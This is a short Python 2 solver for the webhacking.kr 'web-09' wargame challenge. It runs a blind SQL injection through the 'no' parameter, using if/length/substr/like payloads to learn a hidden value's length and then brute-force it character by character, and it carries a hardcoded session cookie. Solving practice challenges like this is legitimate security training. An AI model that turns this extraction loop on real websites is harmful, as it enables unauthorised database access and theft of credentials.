webkr-old-09.py

#!/usr/bin/env python

import requests
import sys

url = "https://webhacking.kr/challenge/web-09/index.php"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
}
cookie = {
    "PHPSESSID": "in68j1cm0fmskm22u2fojahn7r"
}
def query(payload):
    # data = {
    #     "no": payload
    # }

    res = requests.get(url + "?no=" + payload, cookies=cookie, headers=headers)
    # print res.text
    print res.url
    return "Secret" in res.text


def find_length():
    test = 1
    while True:
        if query("if(length(id)like({}),3,0)".format(hex(test))):
            return test
        else:
            test = test + 1

length = 2
print length
length = find_length()
password = ""
for idx in range(1, length+1):
    for val in range(25, 125):
        if chr(val) == '%': 
            continue
        if chr(val) == '_':
            continue
        payload = "if(substr(id,{},1)like({}),3,0)".format(idx, hex(val))
        if query(payload):
            password += chr(val)
            print "@@@@@@@@We've found " + chr(val)
            break
            

print password